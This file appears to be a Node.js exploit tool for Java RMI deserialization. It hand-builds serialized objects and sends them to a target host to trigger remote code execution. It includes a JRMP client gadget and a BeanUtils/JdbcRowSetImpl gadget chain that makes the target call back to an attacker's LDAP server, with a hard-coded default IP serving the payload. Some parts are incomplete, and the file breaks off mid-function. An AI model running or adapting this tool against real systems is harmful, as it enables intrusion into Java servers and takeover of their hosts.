|
// primitive types |
|
// * B byte |
|
// * C char |
|
// * D double |
|
// * F float |
|
// * I int |
|
// * J long |
|
// * L class or interface |
|
// * S short |
|
// * Z boolean |
|
// * [ array |
|
var S = require('string'); |
|
var XMLHttpRequest = require("xmlhttprequest").XMLHttpRequest; |
|
var oReq = new XMLHttpRequest(); |
|
var lastreq = "n/a"; |
|
var net = require('net'); |
|
|
|
var util = require('util') |
|
require('yargs') |
|
|
|
var argv = process.argv; |
|
require('yargs') |
|
.usage('$0 <exploit|generate> <host> [options]') |
|
.option('shost',{ default: "162.210.173.220" , describe: "Host who serve the payload" } ) |
|
.option('sport',{ default: "5555" , describe: "Port on host who serve the payload" } ) |
|
.option('service',{ default: "registry" , describe: "use 'registry' or " } ) |
|
.option('debug',{ default: false , describe: "turn debug output on" } ) |
|
.option('payload',{ default: "jrmp_client" , describe: "use 'jrmp_client' or 'beanutils_jndi'" } ) |
|
.command('exploit <host> [url]', 'Attack Host', (yargs) => { |
|
yargs.positional('url', { |
|
type: 'string', |
|
// default: 'ldap://' + argv.shost + ':'+ argv.sport +'/obj', |
|
describe: 'ldap to serve payload' |
|
}) |
|
}, function (argv) { |
|
var host = getHostFromHoststr(argv.host); |
|
var port = parseInt(getPortFromHoststr(argv.host)); |
|
// getPortFromHoststr(argv.host); |
|
var url = 'ldap://' + argv.shost + ':'+ argv.sport +'/obj'; |
|
if(argv.url) { |
|
url = argv.url |
|
|
|
if (argv.debug === true) { console.log(argv.shost , '\tLDAP:', url, '\tHost '+ host ); } |
|
} |
|
lastreq = host + ":" + port + '\t' + argv.service + '\t' + argv.payload; |
|
// console.log(lastreq); |
|
|
|
go_jmx_cli(host,port,argv.service,argv.payload,argv.shost,argv.sport); |
|
return; |
|
}) |
|
.help() |
|
.argv |
|
|
|
|
|
|
|
|
|
function Null() { |
|
} |
|
|
|
function Boolean(val) { |
|
this.isTrue = val == true; |
|
this.typeCode = 'Z'; |
|
this.primitive = true; |
|
|
|
this.write = function(out) { |
|
if (val == true) { |
|
out.writeByte(1) |
|
} else { |
|
out.writeByte(0); |
|
} |
|
} |
|
} |
|
|
|
function Byte(val) { |
|
this.val = val; |
|
this.typeCode = 'B'; |
|
this.primitive = true; |
|
|
|
this.write = function(out) { |
|
out.writeByte(val); |
|
} |
|
} |
|
|
|
function Short(val) { |
|
this.val = val; |
|
this.typeCode = 'S'; |
|
this.primitive = true; |
|
|
|
this.write = function(out) { |
|
out.writeByte((val >> 8) & 0xFF); |
|
out.writeByte(val & 0xFF); |
|
} |
|
} |
|
|
|
function Char(val) { |
|
this.val = val; |
|
this.typeCode = 'C'; |
|
this.primitive = true; |
|
|
|
this.write = function(out) { |
|
out.writeByte((val >> 8) & 0xFF); |
|
out.writeByte(val & 0xFF); |
|
} |
|
} |
|
|
|
function Integer(val) { |
|
this.val = val; |
|
this.typeCode = 'I'; |
|
this.primitive = true; |
|
|
|
this.write = function(out) { |
|
out.writeByte((val >> 24) & 0xFF); |
|
out.writeByte((val >> 16) & 0xFF); |
|
out.writeByte((val >> 8) & 0xFF); |
|
out.writeByte(val & 0xFF); |
|
} |
|
} |
|
|
|
function Long(high, low) { |
|
this.high = high; |
|
this.low = low; |
|
this.typeCode = 'J'; |
|
this.primitive = true; |
|
|
|
this.write = function(out) { |
|
out.writeByte((high >> 24) & 0xFF); |
|
out.writeByte((high >> 16) & 0xFF); |
|
out.writeByte((high >> 8) & 0xFF); |
|
out.writeByte(high & 0xFF); |
|
out.writeByte((low >> 24) & 0xFF); |
|
out.writeByte((low >> 16) & 0xFF); |
|
out.writeByte((low >> 8) & 0xFF); |
|
out.writeByte(low & 0xFF); |
|
} |
|
} |
|
|
|
function Float(val) { |
|
this.val = val; |
|
this.typeCode = 'F'; |
|
this.primitive = true; |
|
|
|
this.write = function(out) { |
|
throw "Unimplemented"; |
|
} |
|
} |
|
|
|
function Double(val) { |
|
this.val = val; |
|
this.typeCode = 'D'; |
|
this.primitive = true; |
|
|
|
this.write = function(out) { |
|
throw "Unimplemented"; |
|
} |
|
} |
|
|
|
function Array(type, vals) { |
|
this.type = type; |
|
this.vals = vals; |
|
this.typeCode = '['; |
|
this.primitive = false; |
|
|
|
this.write = function(out) { |
|
new Integer(vals.length).write(out); |
|
for (var i = 0; i < vals.length; i++) { |
|
vals[i].write(out); |
|
} |
|
} |
|
} |
|
|
|
function String(val) { |
|
this.val = val; |
|
this.primitive = false; |
|
|
|
this.writeBytes = function(out) { |
|
for (var i = 0; i < val.length; i++) { |
|
out.writeByte(val.charCodeAt(i) & 0xFF); |
|
} |
|
} |
|
|
|
this.writeChars = function(out) { |
|
for (var i = 0; i < val.length; i++) { |
|
out.writeChar(val.charCodeAt(i) & 0xFFFF); |
|
} |
|
} |
|
|
|
this.writeUTF = function(out) { |
|
var utf8b = this.encodeUTF(); |
|
for (var i = 0; i < utf8b.length; i++) { |
|
out.writeByte(utf8b.charCodeAt(i) & 0xFF); |
|
} |
|
} |
|
|
|
this.encodeUTF = function() { |
|
// per |
|
// http://ecmanaut.blogspot.de/2006/07/encoding-decoding-utf8-in-javascript.html |
|
return unescape(encodeURIComponent(val)); |
|
} |
|
} |
|
|
|
function Enum(val) { |
|
this.primitive = false; |
|
} |
|
|
|
function Class(name) { |
|
this.primitive = false; |
|
this.name = name; |
|
} |
|
|
|
function ObjectStreamField(name, val) { |
|
this.name = name; |
|
this.val = val; |
|
this.unshared = false; |
|
} |
|
|
|
function ObjectStreamClass(name, serialHigh, serialLow, fields, opts) { |
|
this.class = new Class(name); |
|
this.superClass = null; |
|
this.primitive = false; |
|
this.proxy = false; |
|
this.enum = false; |
|
this.serialVersionHigh = serialHigh; |
|
this.serialVersionLow = serialLow; |
|
this.fields = fields; |
|
|
|
for ( var key in opts) { |
|
if (opts.hasOwnProperty(key)) { |
|
this[key] = opts[key]; |
|
} |
|
} |
|
|
|
var SC_WRITE_METHOD = 0x01; |
|
var SC_BLOCK_DATA = 0x08; |
|
var SC_SERIALIZABLE = 0x02; |
|
var SC_EXTERNALIZABLE = 0x04; |
|
var SC_ENUM = 0x10; |
|
|
|
this.write = function(out) { |
|
out.writeUTF(name); |
|
new Long(this.serialVersionHigh, this.serialVersionLow).write(out); |
|
var flags = 0; |
|
if ('writeExternal' in this) { |
|
flags |= SC_EXTERNALIZABLE; |
|
if (out.protocol != 1) { |
|
flags |= SC_BLOCK_DATA; |
|
} |
|
} else { |
|
flags |= SC_SERIALIZABLE; |
|
} |
|
|
|
if ('writeObject' in this) { |
|
flags |= SC_WRITE_METHOD; |
|
} |
|
if (this.enum) { |
|
flags |= SC_ENUM; |
|
} |
|
out.writeByte(flags); |
|
|
|
new Short(this.fields.length).write(out); |
|
|
|
for (var i = 0; i < this.fields.length; i++) { |
|
var f = this.fields[i]; |
|
var tc = 0; |
|
if ('typeString' in f) { |
|
tc = f.typeString.charCodeAt(0); |
|
} else { |
|
tc = f.typeCode.charCodeAt(0); |
|
} |
|
out.writeByte(tc); |
|
out.writeUTF(f.name); |
|
if ('typeString' in f) { |
|
out.writeTypeString(f.typeString); |
|
} |
|
} |
|
} |
|
|
|
this.getClassDataLayout = function() { |
|
if ( this.superClass ) { |
|
var r = this.superClass.getClassDataLayout(); |
|
r.push(this); |
|
return r; |
|
} |
|
return [ this ]; |
|
} |
|
|
|
this.writePrimitives = function(out, vals) { |
|
var buf = new DataOutput([]); |
|
for (var i = 0; i < this.fields.length; i++) { |
|
if (!('typeString' in this.fields[i])) { |
|
var v; |
|
if ( this.fields[i].name in vals ) { |
|
v = vals[this.fields[i].name]; |
|
} |
|
else { |
|
var tc = this.fields[i].typeCode; |
|
if ( tc == 'I') { |
|
v = new Integer(0); |
|
} else if ( tc == 'Z' ) { |
|
v = new Boolean(false); |
|
} else if ( tc == 'B' ) { |
|
v = new Byte(0); |
|
} else if ( tc == 'S' ) { |
|
v = new Short(0); |
|
} else if ( tc == 'C' ) { |
|
v = new Char(0); |
|
} else if ( tc == 'L' ) { |
|
v = new Long(0); |
|
} else { |
|
throw "Missing primitive value " + this.fields[i].name; |
|
} |
|
} |
|
v.write(buf); |
|
} |
|
} |
|
out.writeBytes(buf.out); |
|
} |
|
|
|
this.getObjectFieldDescriptors = function() { |
|
var res = []; |
|
for (var i = 0; i < this.fields.length; i++) { |
|
if ('typeString' in this.fields[i]) { |
|
res.push(this.fields[i]); |
|
} |
|
} |
|
return res; |
|
} |
|
} |
|
|
|
function Object(clazz, fieldVals) { |
|
this.clazz = clazz; |
|
this.typeCode = 'L'; |
|
this.values = fieldVals; |
|
} |
|
|
|
function DataOutput(out) { |
|
this.out = out; |
|
this.written = 0; |
|
|
|
this.writeByte = function(b) { |
|
this.out.push(b); |
|
this.written++; |
|
} |
|
|
|
this.writeBytes = function(bs) { |
|
this.out.push.apply(this.out, bs); |
|
this.written += bs.length; |
|
} |
|
} |
|
|
|
function ObjectHandles() { |
|
this.handles = [] |
|
|
|
this.clear = function() { |
|
} |
|
this.assign = function(obj) { |
|
if (obj == null || this.handles.indexOf(obj) < 0) { |
|
return; |
|
} |
|
this.handles.push(obj); |
|
} |
|
|
|
this.lookup = function(obj) { |
|
return this.handles.indexOf(obj); |
|
} |
|
} |
|
|
|
function ObjectOutput(out, opts) { |
|
var STREAM_MAGIC = 0xaced; |
|
var STREAM_VERSION = 5; |
|
var TC_BASE = 0x70; |
|
var TC_NULL = 0x70; |
|
var TC_REFERENCE = 0x71; |
|
var TC_CLASSDESC = 0x72; |
|
var TC_OBJECT = 0x73; |
|
var TC_STRING = 0x74; |
|
var TC_ARRAY = 0x75; |
|
var TC_CLASS = 0x76; |
|
var TC_BLOCKDATA = 0x77; |
|
var TC_ENDBLOCKDATA = 0x78; |
|
var TC_RESET = 0x79; |
|
var TC_BLOCKDATALONG = 0x7A; |
|
var TC_EXCEPTION = 0x7B; |
|
var TC_LONGSTRING = 0x7C; |
|
var TC_PROXYCLASSDESC = 0x7D; |
|
var TC_ENUM = 0x7E; |
|
var TC_MAX = 0x7E; |
|
var baseWireHandle = 0x7e0000; |
|
|
|
this.blockMode = true; |
|
this.blockBuf = []; |
|
this.blockPos = 0; |
|
this.depth = 0; |
|
this.handles = new ObjectHandles(); |
|
this.protocol = 2; |
|
|
|
for ( var key in opts) { |
|
if (opts.hasOwnProperty(key)) { |
|
this[key] = opts[key]; |
|
} |
|
} |
|
|
|
this.writeHeader = function() { |
|
new Short(STREAM_MAGIC).write(out); |
|
new Short(STREAM_VERSION).write(out); |
|
} |
|
|
|
this.setBlockMode = function(bm) { |
|
var obm = this.blockMode; |
|
if (obm == bm) { |
|
return obm; |
|
} |
|
this.flush(); |
|
this.blockMode = bm; |
|
return obm; |
|
} |
|
|
|
this.flush = function() { |
|
if (this.blockPos == 0) { |
|
return; |
|
} |
|
if (this.blockMode) { |
|
this.writeBlockHeader(this.blockPos); |
|
} |
|
|
|
out.writeBytes(this.blockBuf); |
|
this.blockBuf = []; |
|
this.blockPos = 0; |
|
} |
|
|
|
this.clear = function() { |
|
this.handles.clear(); |
|
} |
|
|
|
this.writeBlockHeader = function(len) { |
|
if (len <= 0xFF) { |
|
out.writeByte(TC_BLOCKDATA); |
|
out.writeByte(len); |
|
} else { |
|
out.writeByte(TC_BLOCKDATALONG); |
|
new Integer().write(out); |
|
} |
|
} |
|
|
|
this.writeByte = function(b) { |
|
if (this.blockMode) { |
|
this.blockBuf.push(b); |
|
this.blockPos += 1; |
|
} else { |
|
out.writeByte(b); |
|
} |
|
} |
|
|
|
this.writeBytes = function(bs) { |
|
if (this.blockMode) { |
|
this.blockBuf += bs; |
|
this.blockPos += bs.length; |
|
} else { |
|
out.writeBytes(bs); |
|
} |
|
} |
|
|
|
this.writeNull = function() { |
|
this.writeByte(TC_NULL); |
|
} |
|
|
|
this.writeHandle = function(handle) { |
|
this.writeByte(TC_REFERENCE); |
|
new Integer(baseWireHandle + handle).write(out); |
|
} |
|
|
|
this.writeClass = function(clazz, unshared) { |
|
this.writeByte(TC_CLASS); |
|
this.writeClassDesc(ObjectStreamClass.lookup(cl, true), false); |
|
this.handles.assign(unshared ? null : cl); |
|
} |
|
|
|
this.writeClassDesc = function(desc, unshared) { |
|
var handle; |
|
if (desc == null) { |
|
this.writeNull(); |
|
} else if (!unshared && (handle = this.handles.lookup(desc)) != -1) { |
|
this.writeHandle(handle); |
|
} else if (desc.proxy) { |
|
this.writeProxyDesc(desc, unshared); |
|
} else { |
|
this.writeNonProxyDesc(desc, unshared); |
|
} |
|
} |
|
|
|
this.writeProxyDesc = function(desc, unshared) { |
|
this.writeByte(TC_PROXYCLASSDESC); |
|
this.handles.assign(unshared ? null : desc); |
|
|
|
var cl = desc.forClass(); |
|
var ifaces = cl.getInterfaces(); |
|
bout.writeInt(ifaces.length); |
|
for (var i = 0; i < ifaces.length; i++) { |
|
this.writeUTF(ifaces[i].getName(), true); |
|
} |
|
|
|
// empty annotation block |
|
this.setBlockMode(true); |
|
if ('annotateProxyClass' in this) { |
|
this.annotateProxyClass(desc.class); |
|
} |
|
this.setBlockMode(false); |
|
out.writeByte(TC_ENDBLOCKDATA); |
|
|
|
this.writeClassDesc(desc.superClass, false); |
|
} |
|
|
|
this.writeNonProxyDesc = function(desc, unshared) { |
|
this.writeByte(TC_CLASSDESC); |
|
this.handles.assign(unshared ? null : desc); |
|
|
|
desc.write(this); |
|
// empty annotation block |
|
this.setBlockMode(true); |
|
if ('annotateClass' in this) { |
|
this.annotateClass(desc.class); |
|
} |
|
this.setBlockMode(false); |
|
out.writeByte(TC_ENDBLOCKDATA); |
|
|
|
this.writeClassDesc(desc.superClass, false); |
|
} |
|
|
|
this.writeString = function(str, unshared) { |
|
this.handles.assign(unshared ? null : str); |
|
var utflen = unescape(encodeURIComponent(str)).length; |
|
if (utflen <= 0xFFFF) { |
|
this.writeByte(TC_STRING); |
|
this.writeUTFLen(str, utflen); |
|
} else { |
|
this.writeByte(TC_LONGSTRING); |
|
this.writeLongUTF(str, utflen); |
|
} |
|
} |
|
|
|
this.writeUTF = function(str) { |
|
this.writeUTFLen(str, unescape(encodeURIComponent(str)).length); |
|
} |
|
|
|
this.writeUTFLen = function(str, len) { |
|
if (len > 0xFFFF) { |
|
throw "Length exceeded"; |
|
} |
|
|
|
|
|
new Short(len).write(this); |
|
if (len == str.length) { |
|
new String(str).writeBytes(this); |
|
} else { |
|
throw "Unimplemented (non-ASCII string)"; |
|
// process.stdout.write("hello: " + S(len + "\n" + str) ); |
|
} |
|
} |
|
|
|
this.writeLongUTF = function(str, len) { |
|
new Long(len).write(this); |
|
if (len == str.length) { |
|
str.writeBytes(this); |
|
} else { |
|
throw "Unimplemented (non-ASCII string)"; |
|
} |
|
} |
|
|
|
this.writeEnum = function(en, desc, unshared) { |
|
this.writeByte(TC_ENUM); |
|
var sdesc = desc.getSuperDesc(); |
|
writeClassDesc((sdesc.forClass() == Enum.class) ? desc : sdesc, false); |
|
this.handles.assign(unshared ? null : en); |
|
this.writeString(en.name(), false); |
|
} |
|
|
|
this.writeArray = function(array, desc, unshared) { |
|
this.writeByte(TC_ARRAY); |
|
this.writeClassDesc(desc, false); |
|
this.handles.assign(unshared ? null : array); |
|
var ccl = desc.forClass().getComponentType(); |
|
if (ccl.isPrimitive()) { |
|
array.write(this); |
|
} else { |
|
var len = array.length; |
|
new Integer(len).write(this); |
|
for (var i = 0; i < len; i++) { |
|
writeObject0(objs[i], false); |
|
} |
|
} |
|
} |
|
|
|
this.writeObject = function(obj) { |
|
this.writeObject0(obj, false); |
|
} |
|
|
|
this.writeObject0 = function(obj, unshared) { |
|
var obm = this.setBlockMode(false); |
|
this.depth++; |
|
try { |
|
if (obj instanceof Null) { |
|
this.writeNull(); |
|
return; |
|
} else if (!unshared && (h = this.handles.lookup(obj)) != -1) { |
|
this.writeHandle(h); |
|
return; |
|
} else if (obj instanceof Class) { |
|
this.writeClass(obj, unshared); |
|
return; |
|
} else if (obj instanceof ObjectStreamClass) { |
|
this.writeClassDesc(obj, unshared); |
|
return; |
|
} |
|
|
|
// writeReplace |
|
|
|
if (obj instanceof String) { |
|
this.writeString(obj.val, unshared); |
|
} else if (obj instanceof Array) { |
|
this.writeArray(obj, obj.clazz, unshared); |
|
} else if (obj instanceof Enum) { |
|
this.writeEnum(obj, obj.clazz, unshared); |
|
} else { |
|
this.writeOrdinaryObject(obj, obj.clazz, unshared); |
|
} |
|
} finally { |
|
this.depth--; |
|
this.setBlockMode(obm); |
|
} |
|
} |
|
|
|
this.writeOrdinaryObject = function(obj, desc, unshared) { |
|
this.writeByte(TC_OBJECT); |
|
this.writeClassDesc(desc, false); |
|
this.handles.assign(unshared ? null : obj); |
|
if ('writeExternal' in desc && !desc.proxy) { |
|
this.writeExternalData(obj, desc); |
|
} else { |
|
this.writeSerialData(obj, desc); |
|
} |
|
} |
|
|
|
this.writeSerialData = function(obj, desc) { |
|
var slots = desc.getClassDataLayout(); |
|
for (var i = 0; i < slots.length; i++) { |
|
var slotDesc = slots[i]; |
|
if ('writeObject' in slotDesc) { |
|
this.setBlockMode(true); |
|
slotDesc.writeObject(this, obj, desc); |
|
this.setBlockMode(false); |
|
out.writeByte(TC_ENDBLOCKDATA); |
|
} else { |
|
this.defaultWriteFields(obj, slotDesc); |
|
} |
|
} |
|
} |
|
|
|
this.writeExternalData = function(obj, desc) { |
|
if (this.protocol == 1) { |
|
desc.writeExternal(this, obj); |
|
} else { |
|
this.setBlockMode(true); |
|
this.setBlockMode(false); |
|
out.writeByte(TC_ENDBLOCKDATA); |
|
} |
|
} |
|
|
|
this.writeFatalException = function(ex) { |
|
clear(); |
|
var oldMode = this.setBlockMode(false); |
|
try { |
|
this.writeByte(TC_EXCEPTION); |
|
this.writeObject0(ex, false); |
|
clear(); |
|
} finally { |
|
this.setBlockMode(oldMode); |
|
} |
|
} |
|
|
|
this.defaultWriteObject = function(obj, desc) { |
|
this.setBlockMode(false); |
|
this.defaultWriteFields(obj, desc); |
|
this.setBlockMode(true); |
|
} |
|
|
|
this.defaultWriteFields = function(obj, desc) { |
|
var cl = desc.clazz; |
|
if (cl != null && obj != null && !cl.isInstance(obj)) { |
|
throw new ClassCastException(); |
|
} |
|
|
|
|
|
desc.writePrimitives(this,obj.values); |
|
var objVals = desc.getObjectFieldDescriptors(obj); |
|
for (var i = 0; i < objVals.length; i++) { |
|
var fdesc = objVals[i]; |
|
if ( fdesc.name in obj.values ) { |
|
this.writeObject0(obj.values[fdesc.name], fdesc.unshared); |
|
} else { |
|
this.writeObject0(new Null(), fdesc.unshared); |
|
} |
|
} |
|
} |
|
|
|
this.writeTypeString = function(type) { |
|
if (type == null) { |
|
this.writeNull(); |
|
} else if ((handle = this.handles.lookup(type)) != -1) { |
|
this.writeHandle(handle); |
|
} else { |
|
this.writeString(type, false); |
|
} |
|
} |
|
} |
|
|
|
|
|
function encode_dgc_dirty(args) { |
|
// Dgc.dirty |
|
return encode_call(0, 2, 1, 4139157901, 2347927107, args); |
|
} |
|
|
|
function encode_registry_lookup(args) { |
|
// Registry.lookup |
|
return encode_call(0, 0, 2, 1142246857, 3571858399, args); |
|
} |
|
|
|
function encode_call(objIdHigh, objIdLow, methodId, methodHashHigh, |
|
methodHashLow, args) { |
|
var bytes = []; |
|
var dos = new DataOutput(bytes); |
|
new Integer(1246907721).write(dos); // Magic == JRMI |
|
new Short(2).write(dos); // Version - 2 |
|
new Byte(76).write(dos); // SingleOpProtocol |
|
new Byte(80).write(dos); // Type = Call |
|
|
|
// this is the Connection/MarshalOutputStream setup for JRMP/RMI |
|
var oos = new ObjectOutput(dos, { |
|
'protocol' : 1, |
|
'annotateClass' : function(cl) { |
|
this.writeObject(new Null()); // location |
|
}, |
|
|
|
'annotateProxyClass' : function(cl) { |
|
this.writeObject(new Null()); // location |
|
} |
|
}); |
|
oos.writeHeader(); |
|
|
|
new Long(objIdHigh, objIdLow).write(oos); // objId |
|
new Integer(0).write(oos); // UID - unique |
|
new Long(0, 0).write(oos); // UID - time |
|
new Short(0).write(oos); // UID - count |
|
|
|
new Integer(methodId).write(oos); |
|
new Long(methodHashHigh, methodHashLow).write(oos); |
|
|
|
for (var i = 0; i < args.length; i++) { |
|
oos.writeObject(args[i]); |
|
} |
|
|
|
oos.flush(); |
|
return bytes; |
|
} |
|
|
|
function encode_object(obj) { |
|
var bytes = []; |
|
var dos = new DataOutput(bytes); |
|
var oos = new ObjectOutput(dos, {}); |
|
oos.writeHeader(); |
|
oos.writeObject(obj); |
|
oos.flush(); |
|
return bytes; |
|
} |
|
|
|
function encode_hex(bytes) { |
|
var hex = ""; |
|
for (var i = 0; i < bytes.length; i++) { |
|
var b = bytes[i].toString(16); |
|
if (b.length == 1) { |
|
b = "0" + b; |
|
} |
|
|
|
hex += b; |
|
|
|
} |
|
return hex; |
|
} |
|
|
|
// from http://www.webtoolkit.info/javascript-base64.html |
|
// LICENSE WARNING: the original function is licensed CC BY 2.0 UK |
|
var B64_chrs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; |
|
function encode_b64(bytes) { |
|
var output = ""; |
|
var chr1, chr2, chr3, enc1, enc2, enc3, enc4; |
|
var i = 0; |
|
while (i < bytes.length) { |
|
chr1 = bytes[i++]; |
|
chr2 = bytes[i++]; |
|
chr3 = bytes[i++]; |
|
|
|
enc1 = chr1 >> 2; |
|
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); |
|
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); |
|
enc4 = chr3 & 63; |
|
|
|
if (isNaN(chr2)) { |
|
enc3 = enc4 = 64; |
|
} else if (isNaN(chr3)) { |
|
enc4 = 64; |
|
} |
|
|
|
output = output + B64_chrs.charAt(enc1) + B64_chrs.charAt(enc2) |
|
+ B64_chrs.charAt(enc3) + B64_chrs.charAt(enc4); |
|
|
|
} |
|
|
|
return output; |
|
} |
|
|
|
function make_jrmp_client_payl(host, port) { |
|
var objIdLow = Math.floor(Math.random() * 4294967295); |
|
var objIdHigh = Math.floor(Math.random() * 4294967295); |
|
return new Object(new ObjectStreamClass( |
|
"sun.rmi.server.UnicastRef", 1922802161, 2643414530, [], { |
|
'writeExternal' : function(out, obj) { |
|
/* |
|
((TCPEndpoint) ep).writeHostPortFormat(out); |
|
out.writeUTF(host); |
|
out.writeInt(port); |
|
id.write(out); |
|
out.writeLong(objNum); |
|
out.writeInt(unique); |
|
out.writeLong(time); |
|
out.writeShort(count); |
|
out.writeBoolean(isResultStream); |
|
*/ |
|
out.writeUTF(host); // host |
|
new Integer(port).write(out); // port |
|
new Long(objIdHigh, objIdLow).write(out); // objId |
|
new Integer(0).write(out); // UID - unique |
|
new Long(0, 0).write(out); // UID - time |
|
new Short(0).write(out); // UID - count |
|
new Boolean(false).write(out); // isResultStream |
|
} |
|
})) |
|
} |
|
|
|
function make_beanutils_jndi_payl(beanutils_jndi_url) { |
|
|
|
var brs = new ObjectStreamClass('javax.sql.rowset.BaseRowSet', |
|
1137778085, 1304605152, [ { |
|
'name' : 'concurrency', |
|
'typeCode' : 'I' |
|
}, { |
|
'name' : 'escapeProcessing', |
|
'typeCode' : 'Z' |
|
}, { |
|
'name' : 'fetchDir', |
|
'typeCode' : 'I' |
|
}, { |
|
'name' : 'fetchSize', |
|
'typeCode' : 'I' |
|
}, { |
|
'name' : 'isolation', |
|
'typeCode' : 'I' |
|
}, { |
|
'name' : 'maxFieldSize', |
|
'typeCode' : 'I' |
|
}, { |
|
'name' : 'maxRows', |
|
'typeCode' : 'I' |
|
}, { |
|
'name' : 'queryTimeout', |
|
'typeCode' : 'I' |
|
}, { |
|
'name' : 'readOnly', |
|
'typeCode' : 'Z' |
|
}, { |
|
'name' : 'rowSetType', |
|
'typeCode' : 'I' |
|
}, { |
|
'name' : 'showDeleted', |
|
'typeCode' : 'Z' |
|
}, { |
|
'name' : 'URL', |
|
'typeString' : 'Ljava/lang/String;' |
|
}, { |
|
'name' : 'asciiStream', |
|
'typeString' : 'Ljava/io/InputStream;' |
|
}, { |
|
'name' : 'binaryStream', |
|
'typeString' : 'Ljava/io/InputStream;' |
|
}, { |
|
'name' : 'charStream', |
|
'typeString' : 'Ljava/io/Reader;' |
|
}, { |
|
'name' : 'command', |
|
'typeString' : 'Ljava/lang/String;' |
|
}, { |
|
'name' : 'dataSource', |
|
'typeString' : 'Ljava/lang/String;' |
|
}, { |
|
'name' : 'listeners', |
|
'typeString' : 'Ljava/util/Vector;' |
|
}, { |
|
'name' : 'map', |
|
'typeString' : 'Ljava/util/Map;' |
|
}, { |
|
'name' : 'params', |
|
'typeString' : 'Ljava/util/Hashtable;' |
|
}, { |
|
'name' : 'unicodeStream', |
|
'typeString' : 'Ljava/io/InputStream;' |
|
}, ], {}); |
|
|
|
var rs = new ObjectStreamClass('com.sun.rowset.JdbcRowSetImpl', |
|
3458652191, 1232323077, [ { |
|
'name' : 'conn', |
|
'typeString' : 'Ljava/sql/Connection;' |
|
}, { |
|
'name' : 'iMatchColumns', |
|
'typeString' : 'Ljava/util/Vector;' |
|
}, { |
|
'name' : 'ps', |
|
'typeString' : 'Ljava/sql/PreparedStatement;' |
|
}, { |
|
'name' : 'resMD', |
|
'typeString' : 'Ljava/sql/ResultSetMetaData;' |
|
}, { |
|
'name' : 'rowsMD', |
|
'typeString' : 'Ljavax/sql/rowset/RowSetMetaDataImpl;' |
|
}, { |
|
'name' : 'rs', |
|
'typeString' : 'Ljava/sql/ResultSet;' |
|
}, { |
|
'name' : 'strMatchColumns', |
|
'typeString' : 'Ljava/util/Vector;' |
|
}, ], { |
|
'superClass' : brs |
|
}); |
|
|
|
var bc = new ObjectStreamClass( |
|
"org.apache.commons.beanutils.BeanComparator", 3819014378, |
|
1931650120, [ { |
|
'name' : 'comparator', |
|
'typeString' : 'Ljava/util/Comparator;' |
|
}, { |
|
'name' : 'property', |
|
'typeString' : 'Ljava/lang/String;' |
|
} ], {}); |
|
|
|
var rc = new ObjectStreamClass( |
|
"java.util.Collections$ReverseComparator", 1678019312, |
|
1397639888, [], {}); |
|
|
|
var pq = new ObjectStreamClass("java.util.PriorityQueue", |
|
2497327284, 4215243441, [ { |
|
'name' : 'size', |
|
'typeCode' : 'I' |
|
}, { |
|
'name' : 'comparator', |
|
'typeString' : 'Ljava/util/Comparator;' |
|
} ], { |
|
'writeObject' : function(out, obj, desc) { |
|
|
|
var elems = obj.values['elements']; |
|
var len = elems ? elems.length : 0; |
|
obj.values['size'] = new Integer(len); |
|
|
|
out.defaultWriteObject(obj, desc); |
|
new Integer(len).write(out); |
|
|
|
for (var i = 0; i < len; i++) { |
|
out.writeObject(elems[i]); |
|
} |
|
} |
|
}); |
|
|
|
var rso = new Object(rs, { |
|
'dataSource' : new String(beanutils_jndi_url) |
|
}); |
|
|
|
return new Object(pq, { |
|
"elements" : [ rso, rso ], |
|
"comparator" : new Object(bc, { |
|
'comparator' : new Object(rc, {}), |
|
'property' : new String('databaseMetaData') |
|
}) |
|
}); |
|
} |
|
|
|
function send(host, port, payl) { |
|
|
|
var url = "http://" + host + ":" + port + "/"; |
|
if (argv.debug === true) { console && console.log && console.log("Sending payload to " + url); } |
|
|
|
oReq.open("POST", url); |
|
var arr = new ArrayBuffer(payl.length); |
|
var byteArray = new Uint8Array(arr); |
|
for (var i = 0; i < payl.length; ++i) { |
|
byteArray[i] = payl[i]; |
|
} |
|
const buf3 = Buffer.from(byteArray); |
|
|
|
|
|
var client = new net.Socket(); |
|
client.connect(port, host, function() { |
|
console.log('Connected send TCP'); |
|
client.write(buf3); |
|
}); |
|
|
|
client.on('data', function(data) { |
|
console.log('Received: ' + data); |
|
client.destroy(); // kill client after server's response |
|
}); |
|
|
|
|
|
|
|
|
|
|
|
|
|
oReq.send(buf3); |
|
|
|
return oReq; |
|
} |
|
|
|
function get_radio(name) { |
|
var radios = document.getElementsByName(name); |
|
for (var i = 0, length = radios.length; i < length; i++) { |
|
if (radios[i].checked) { |
|
return radios[i].value; |
|
} |
|
} |
|
} |
|
|
|
function make_payload(payl_type,revhost,revport) { |
|
if (payl_type == "jrmp_client") { |
|
var jrmp_client_host = revhost; |
|
var jrmp_client_port = revport; |
|
return make_jrmp_client_payl(jrmp_client_host, jrmp_client_port); |
|
} else if (payl_type == "beanutils_jndi") { |
|
var beanutils_jndi_url = "ldap://" + revhost + ":" + revport + "/obj"; |
|
return make_beanutils_jndi_payl(beanutils_jndi_url); |
|
} else { |
|
throw "Invalid payload"; |
|
} |
|
} |
|
|
|
|
|
var encoders = { |
|
'raw' : { |
|
'printable' : false, |
|
'encode' : function(bytes) { |
|
return bytes; |
|
}, |
|
'blob' : function(bytes) { |
|
var arr = new Uint8Array(bytes.length); |
|
for (var i = 0; i < bytes.length; i++) { |
|
arr[i] = bytes[i]; |
|
} |
|
return new Blob([arr], { |
|
type : 'application/octet-stream' |
|
}); |
|
} |
|
}, |
|
'hex' : { |
|
'printable' : true, |
|
'encode' : encode_hex, |
|
'blob' : function(data) { |
|
return new Blob([data], { |
|
type : 'text/plain' |
|
}); |
|
} |
|
}, |
|
'b64' : { |
|
'printable' : true, |
|
'encode' : encode_b64, |
|
'blob' : function(data) { |
|
return new Blob([data], { |
|
type : 'text/plain' |
|
}); |
|
} |
|
} |
|
} |
|
|
|
function go_generate() { |
|
var payl_type = get_radio("payload"); |
|
var payl_enc = get_radio("payload_encoding") || "raw"; |
|
console.log("Payload is " + payl_type + " encoding " + payl_enc); |
|
var obj = make_payload(payl_type); |
|
var bytes = encode_object(obj); |
|
|
|
var codec = encoders[payl_enc]; |
|
var encoded = codec.encode(bytes); |
|
|
|
var out = document.getElementById('output'); |
|
out.style.display = 'block'; |
|
|
|
document.getElementById('output_length').textContent = encoded.length; |
|
